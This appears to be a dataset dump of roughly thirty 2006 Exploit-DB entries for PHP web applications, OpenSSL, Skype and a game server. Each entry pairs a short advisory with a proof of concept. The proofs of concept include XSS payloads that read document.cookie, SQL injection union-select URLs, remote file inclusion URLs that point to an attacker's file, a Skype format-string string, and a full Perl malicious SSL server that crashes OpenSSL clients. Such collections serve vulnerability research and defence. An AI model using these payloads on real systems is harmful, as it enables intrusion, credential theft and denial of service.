QLWD/code_shield huggingface dataset:
标题: OpenSSL SSLv2 - Null Pointer Dereference Client Denial of Service EDB-ID: 28726 CVE: 2006-4343 类型: DOS 平台: MULTIPLE 发布日期: 2006-09-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/20246/info

OpenSSL is prone to a denial-of-service vulnerability.

A malicious server could cause a vulnerable client application to crash, effectively denying service.

#!/usr/bin/perl
# Copyright(c) Beyond Security
# Written by Noam Rathaus - based on beSTORM's SSL Server module
# Exploits vulnerability CVE-2006-4343 - where the SSL client can be crashed by special SSL serverhello response

use strict;
use IO::Socket;
my $sock = new IO::Socket::INET ( LocalPort => '443', Proto => 'tcp', Listen => 1, Reuse => 1, );
die "Could not create socket: $!\n" unless $sock;
 
my $TIMEOUT = 0.5;
my $line;
my $new_sock;
srand(time());

while ( $new_sock = $sock->accept() )
{
 printf ("new connection\n");
 my $rin;
 my $line;
 my ($nfound, $timeleft) = select($rin, undef, undef, $TIMEOUT) && recv($new_sock, $line, 1024, undef);

 my $ciphers = "";
 my $ciphers_length = pack('n', length($ciphers));

 my $certificate = "";
 my $certificate_length = pack('n', length($certificate));

 my $packet_sslv2 =
"\x04".
"\x01". # Hit (default 0x01)

"\x00". # No certificate

"\x00\x02".
$certificate_length.
$ciphers_length.
"\x00\x10".
# Certificate
$certificate.
# Done
# Ciphers
$ciphers.
# Done
"\xf5\x61\x1b\xc4\x0b\x34\x1b\x11\x3c\x52\xe9\x93\xd1\xfa\x29\xe9";

 my $ssl_length = pack('n', length($packet_sslv2) + 0x8000);
 $packet_sslv2 = $ssl_length . $packet_sslv2;

 print $new_sock $packet_sslv2;

 close($new_sock);
} URL: https://www.exploit-db.com/exploits/28726
标题: PHP Invoice 2.2 - 'home.php' Cross-Site Scripting EDB-ID: 28711 CVE: 2006-5074 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/20221/info

PHP Invoice is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 2.2 is reported vulnerable; other versions may also be affected.

http://www.example.com/[path]/home.php?msg=Successfully%20updated&alert=[xss] URL: https://www.exploit-db.com/exploits/28711
标题: CubeCart 3.0.x - 'view_order.php?order_id' Cross-Site Scripting EDB-ID: 28700 CVE: 2006-5108 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/20215/info
    
CubeCart is prone to multiple input-validation vulnerabilities, including information-disclosure, cross-site scripting, and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 
    
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
   
http://www.example.com/view_order.php?order_id=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/28700
标题: CubeCart 3.0.x - '/admin/nav.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 28701 CVE: 2006-5108 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/20215/info
     
CubeCart is prone to multiple input-validation vulnerabilities, including information-disclosure, cross-site scripting, and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 
     
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
    
http://www.example.com/admin/nav.php?site_url="><script>alert(document.cookie);</script><noscript>
http://www.example.com/admin/nav.php?la_search_home=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/28701
标题: CubeCart 3.0.x - '/admin/header.inc.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 28703 CVE: 2006-5108 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/20215/info
       
CubeCart is prone to multiple input-validation vulnerabilities, including information-disclosure, cross-site scripting, and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 
       
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
      
http://www.example.com/admin/header.inc.php?site_name=</title><script>alert(document.cookie);</script>
http://www.example.com/admin/header.inc.php?la_adm_header=</title><script>alert(document.cookie);</script>
http://www.example.com/admin/header.inc.php?charset='><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/28703
标题: CubeCart 3.0.x - 'view_doc.php?view_doc' SQL Injection EDB-ID: 28697 CVE: 2006-5107 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/20215/info
  
CubeCart is prone to multiple input-validation vulnerabilities, including information-disclosure, cross-site scripting, and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 
  
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/view_doc.php?view_doc=-1'%20union%20select%201,2/* URL: https://www.exploit-db.com/exploits/28697
标题: CubeCart 3.0.x - '/admin/image.php?image' Cross-Site Scripting EDB-ID: 28702 CVE: 2006-5108 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/20215/info
      
CubeCart is prone to multiple input-validation vulnerabilities, including information-disclosure, cross-site scripting, and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 
      
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
     
http://www.example.com/admin/image.php?image=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/28702
标题: CubeCart 3.0.x - '/admin/print_order.php?order_id' SQL Injection EDB-ID: 28698 CVE: 2006-5107 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/20215/info
  
CubeCart is prone to multiple input-validation vulnerabilities, including information-disclosure, cross-site scripting, and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 
  
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
 
http://www.example.com/admin/print_order.php?order_id='%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,
27,28,29,30/* URL: https://www.exploit-db.com/exploits/28698
标题: CubeCart 3.0.x - '/admin/print_order.php?order_id' Cross-Site Scripting EDB-ID: 28699 CVE: 2006-5108 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/20215/info
   
CubeCart is prone to multiple input-validation vulnerabilities, including information-disclosure, cross-site scripting, and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 
   
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
  
http://www.example.com/admin/print_order.php?order_id=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/28699
标题: PHPSelect Web Development - 'index.php3' Remote File Inclusion EDB-ID: 28714 CVE: 2006-5118 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/20231/info

PHPSelect Web Development is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

A successful exploit of this issue allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

http://www.example.com/index.php3?Application_Root=http://www.example.com URL: https://www.exploit-db.com/exploits/28714
标题: Skype Technologies Skype 1.5 - NSRunAlertPanel Remote Format String EDB-ID: 28710 CVE: 2006-5084 类型: REMOTE 平台: OSX 发布日期: 2006-09-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/20218/info

Skype is prone to a remote format-string vulnerability because the application fails to properly sanitize user-supplied input before using it in the format-specification argument of a formatted-printing function.

Exploiting this issue allows remote attackers to execute arbitrary machine code in the context of the affected application, potentially facilitating the remote compromise of affected computers.

Skype 1.5.0.79 and prior versions for Apple Mac OS X are vulnerable to this issue.

IFRAME SRC=skype:%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n URL: https://www.exploit-db.com/exploits/28710
标题: CubeCart 3.0.x - 'footer.inc.php?la_pow_by' Cross-Site Scripting EDB-ID: 28704 CVE: 2006-5108 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/20215/info
        
CubeCart is prone to multiple input-validation vulnerabilities, including information-disclosure, cross-site scripting, and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 
        
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
       
http://www.example.com/footer.inc.php?la_pow_by=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/28704
标题: CubeCart 3.0.x - 'view_order.php?order_id' SQL Injection EDB-ID: 28696 CVE: 2006-5107 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/20215/info
 
CubeCart is prone to multiple input-validation vulnerabilities, including information-disclosure, cross-site scripting, and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 
 
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/view_order.php?order_id='%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,2
9,30/* URL: https://www.exploit-db.com/exploits/28696
标题: CubeCart 3.0.x - '/admin/forgot_pass.php?user_name' SQL Injection EDB-ID: 28695 CVE: 2006-5107 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/20215/info

CubeCart is prone to multiple input-validation vulnerabilities, including information-disclosure, cross-site scripting, and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/admin/forgot_pass.php?submit=1&user_name=-1'or%201=1/*
http://www.example.com/admin/forgot_pass.php?submit=1&user_name=-1'%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,
23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42/* URL: https://www.exploit-db.com/exploits/28695
标题: Phoenix Evolution CMS - '/modules/pageedit/index.php?pageid' Cross-Site Scripting EDB-ID: 28693 CVE: 2006-5090 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/20212/info
 
Phoenix Evolution CMS is prone to multiple cross-site scripting vulnerabilities because the application fails to sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
http://www.example.com/[path]/modules/pageedit/index.php?pageid=http://www.example.com URL: https://www.exploit-db.com/exploits/28693
标题: Phoenix Evolution CMS - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 28692 CVE: 2006-5090 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/20212/info

Phoenix Evolution CMS is prone to multiple cross-site scripting vulnerabilities because the application fails to sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[path]/index.php?mod=http://www.example.com
http://www.example.com/[path]/index.php?action=http://www.example.com URL: https://www.exploit-db.com/exploits/28692
标题: My-BIC 0.6.5 - 'Mybic_Server.php' Remote File Inclusion EDB-ID: 28686 CVE: 2006-5089 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/20208/info

My-BIC is prone to a remote file-include vulnerability because these applications fail to sufficiently sanitize user-supplied data.

Exploiting this issue could allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This BID is being retired because further analysis reveals that this issue is not exploitable.

http://www.example.com/[path]/[path]/mybic_server.php?file=attacker's site URL: https://www.exploit-db.com/exploits/28686
标题: vBulletin 2.3.x - 'global.php' SQL Injection EDB-ID: 28694 CVE: 2006-5104 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/20214/info

vBulletin is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Version 2.3 is vulnerable; other versions may also be affected.

http://www.example.com/global.php?templatesused=nn,dd,'))/* 
SELECT template,title FROM template WHERE (title IN ('nn','dd','\\\'))/*','gobutton','timezone','username_loggedout','username_loggedin','phpinclude','headinclude','header','footer','forumjumpbit','forumjump','nav_linkoff','nav_linkon','navbar','nav_joiner','pagenav','pagenav_curpage','pagenav_firstlink','pagenav_lastlink','pagenav_nextlink','pagenav_pagelink','pagenav_prevlink') AND (templatesetid=-1 OR templatesetid=1)) ORDER BY templatesetid URL: https://www.exploit-db.com/exploits/28694
标题: BirdBlog 1.x - 'user.php?uid' Cross-Site Scripting EDB-ID: 28669 CVE: 2006-5064 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/20202/info
  
BirdBlog is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
  
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may allow an attacker to steal cookie-based authentication credentials and to launch other attacks.
  
BirdBlog 1.4.0 and prior versions are reported vulnerable.

http://www.example.com/[path]/user.php?uid=<Script> URL: https://www.exploit-db.com/exploits/28669
标题: Back-End CMS 0.4.5 - 'Facts.php?includes_path' Remote File Inclusion EDB-ID: 28675 CVE: 2006-5076 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/20207/info
 
Back-End CMS is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
 
A successful exploit of these issues allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
 
Back-End CMS version 0.4.5 is vulnerable to these issues.

http://www.example.com/[Path]/Facts.php?includes_path=attacker's_file URL: https://www.exploit-db.com/exploits/28675
标题: Exporia 0.3 - 'Common.php' Remote File Inclusion EDB-ID: 28673 CVE: 2006-5920 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/20205/info

Exporia is prone to a remote file-include vulnerability because the application fails to sufficiently sanitize user-supplied data.

Exploiting this issue could allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This BID is being retired because further analysis reveals that the application is not vulnerable to this issue.

http://www.example.com/[path]/common.php?lan=attacker's site URL: https://www.exploit-db.com/exploits/28673
标题: DanPHPSupport 0.5 - 'index.php?page' Cross-Site Scripting EDB-ID: 28670 CVE: 2006-5066 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/20203/info

DanPHPSupport is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may allow an attacker to steal cookie-based authentication credentials and to launch other attacks.

DanPHPSupport 0.5 is vulnerable to these issues.

http://www.example.com/[path]/index.php?page=<Script> URL: https://www.exploit-db.com/exploits/28670
标题: Back-End CMS 0.4.5 - 'search.php?includes_path' Remote File Inclusion EDB-ID: 28676 CVE: 2006-5076 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/20207/info
  
Back-End CMS is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
  
A successful exploit of these issues allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
  
Back-End CMS version 0.4.5 is vulnerable to these issues.

http://www.example.com/[Path]/search.php?includes_path=attacker's_file URL: https://www.exploit-db.com/exploits/28676
标题: BirdBlog 1.x - 'comment.php?entryid' Cross-Site Scripting EDB-ID: 28667 CVE: 2006-5064 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/20202/info

BirdBlog is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may allow an attacker to steal cookie-based authentication credentials and to launch other attacks.

BirdBlog 1.4.0 and prior versions are reported vulnerable.

http://www.example.com/[path]/comment.php?entryid=<Script> URL: https://www.exploit-db.com/exploits/28667
标题: Call of Duty Server 4.1.x - Callvote Map Command Remote Buffer Overflow EDB-ID: 28666 CVE: 2006-5058 类型: DOS 平台: MULTIPLE 发布日期: 2006-09-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/20180/info

Call of Duty server is prone to a remote buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input before copying it to an insufficiently sized memory buffer.

Exploiting this issue may allow remote attackers to execute arbitrary machine code in the context of the affected application. Failed exploit attempts will likely cause denial-of-service conditions.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28666.zip URL: https://www.exploit-db.com/exploits/28666
标题: BirdBlog 1.x - 'index.php?page' Cross-Site Scripting EDB-ID: 28668 CVE: 2006-5064 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/20202/info
 
BirdBlog is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may allow an attacker to steal cookie-based authentication credentials and to launch other attacks.
 
BirdBlog 1.4.0 and prior versions are reported vulnerable.

http://www.example.com/[path]/index.php?page=<Script> URL: https://www.exploit-db.com/exploits/28668
标题: DanPHPSupport 0.5 - 'admin.php?do' Cross-Site Scripting EDB-ID: 28671 CVE: 2006-5066 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/20203/info
 
DanPHPSupport is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may allow an attacker to steal cookie-based authentication credentials and to launch other attacks.
 
DanPHPSupport 0.5 is vulnerable to these issues.

http://www.example.com/[path]/admin.php?do=<Script> URL: https://www.exploit-db.com/exploits/28671
标题: Opial AV Download Management 1.0 - 'index.php' Cross-Site Scripting EDB-ID: 28664 CVE: 2006-5056 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/20174/info

Opial Audio/Visual Download Management is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 1.0 is vulnerable; other versions may also be affected.

http://www.example.com/[path]/index.php?view=Login&destination=[xss] URL: https://www.exploit-db.com/exploits/28664
标题: Jamroom 3.0.16 - 'login.php' Cross-Site Scripting EDB-ID: 28659 CVE: 2006-5060 类型: WEBAPPS 平台: PALM_OS 发布日期: 2006-09-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/20162/info

Jamroom is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.net/[path]/login.php?mode=forgot&forgot=[xss] URL: https://www.exploit-db.com/exploits/28659